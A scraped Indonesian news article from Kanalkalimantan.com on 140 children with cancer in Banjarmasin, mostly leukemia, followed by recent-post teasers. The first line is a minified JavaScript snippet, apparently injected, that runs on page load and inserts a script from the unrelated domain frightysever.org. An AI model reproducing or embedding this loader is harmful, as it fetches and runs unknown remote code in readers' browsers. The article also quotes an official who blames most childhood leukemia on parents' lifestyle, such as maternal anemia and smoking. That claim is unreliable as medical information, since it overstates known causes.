(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

140 Anak di Banjarmasin Mengidap Kanker, Begini Anjuran Dinkes


KANALKALIMANTAN.COM, BANJARMASIN – Orangtua sering disebut sebagai kelompok yang paling rentan mengalami kanker. Penyakit kanker ini pun meningkat seiring pertambahan usia.

Namun, penyakit kanker pada anak juga sering ditemui dengan penyebab utama rata-rata akibat gaya hidup tidak sehat oleh orangtuanya.

Dihimpun dari data Dinas Kesehatan Kota Banjarmasin sebanyak 140 anak di Banjarmasin mengidap penyakit kanker yang didominasi kanker leukimia dan kanker kelainan darah.

“Kami sebenarnya masih merangkul sejumlah rumah sakit rujukan provinsi untuk pendataan pasien kanker anak, dari data sementara yang kami dapat ada 140 anak yang di Banjarmasin mengidap kanker,” beber Kepala Dinas Kesehatan (Dinkes) Kota Banjarmasin melalui Kabid Pencegahan dan Pengendalian Penyakit (P2P) Dinas Kesehatan (Dinkes) Banjarmasin, dr Hj Bandiyah Ma’rifah. Kabid P2P mengatakan faktor resiko penyebab jenis kanker leukimia ini termasuk sulit didiagnosa.

 

 

Baca juga: 32 Peserta Semarakkan Festival Jukung Hias Tanglong 2022 di Sungai Martapura

Namun, Bandiyah memastikan, hampir sebagian besar anak menderita kanker leukimia berhulu dari kebiasaan dari gaya hidup orangtuanya yang kurang sehat.

“Misalnya waktu ibunya mengandung tidak menjaga asupan gizinya sampai menyebabkan anemia, dan besar penyebab dari situ anak yang lahir cenderung memiliki gangguan pada organnya,” katanya.

Gangguan pada organ anak itu, sambung Bandiyah, membuat pembentukan sel darah merah pada anak juga ikut terganggu.

Kemudian juga salah satu faktor terjadi kelainan pada saat ibu mengandung berdasar pada perilaku orangtua yang suka merokok.

“Ada aktivitas orangtuanya yang tidak sehat seperti merokok, bisa jadi sumsum tulang belakangnya tidak sempurna dan menjadikan menjadikan kelainan darah pada anak,” jelasnya.

Baca juga: DWP Tanbu Gelar Sosialisasi Pemulihan Belajar di Era Kurikulum Merdeka

Hal ini menandakan bahwa kanker pada anak merupakan musuh besar yang harus dihadapi masyarakat, khususnya para orangtua.

Kabid P2P Dinkes Banjarmasin sangat menganjurkan kehidupan sehat selalu diterapkan dimana dan kapan pun, tak memandang usia maupun gender.

Karena, penderitaan panjang dialami pejuang atau survivor kanker, meski pengobatan kanker telah selesai dijalani.

Dinas Kesehatan Banjarmsan selalu merangkul rumah sakit, dokter dan penyintas kanker anak semangat melawan dan selalu meyakinkan semua anak bisa punya masa depan yang cerah. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Risa

Recent Posts

Jurnalisme Hijau di Era Digital: Membumikan Kompleksitas Isu Lingkungan Agar Tak Membosankan

KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More

9 jam ago

Masuk Masa Tenang, APK Paslon di Banjarbaru Dibersihkan

KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More

10 jam ago

Bawaslu Kalsel Segera Plenokan Dugaan Pelanggaran Paslon Syaifullah-Habib Ahmad

KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More

10 jam ago

Deteksi Dini Kesehatan IVA Test dan Sadanis di Puskesmas Sungai Malang

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More

11 jam ago

Uji Tanding 7 Cabor Bapor Korpri HSU Vs Bapor Korpri Paser

KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More

15 jam ago

Juara di Singapore Open Dance Championship 2024, Frem Harumkan Nama Indonesia

KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More

15 jam ago

This website uses cookies.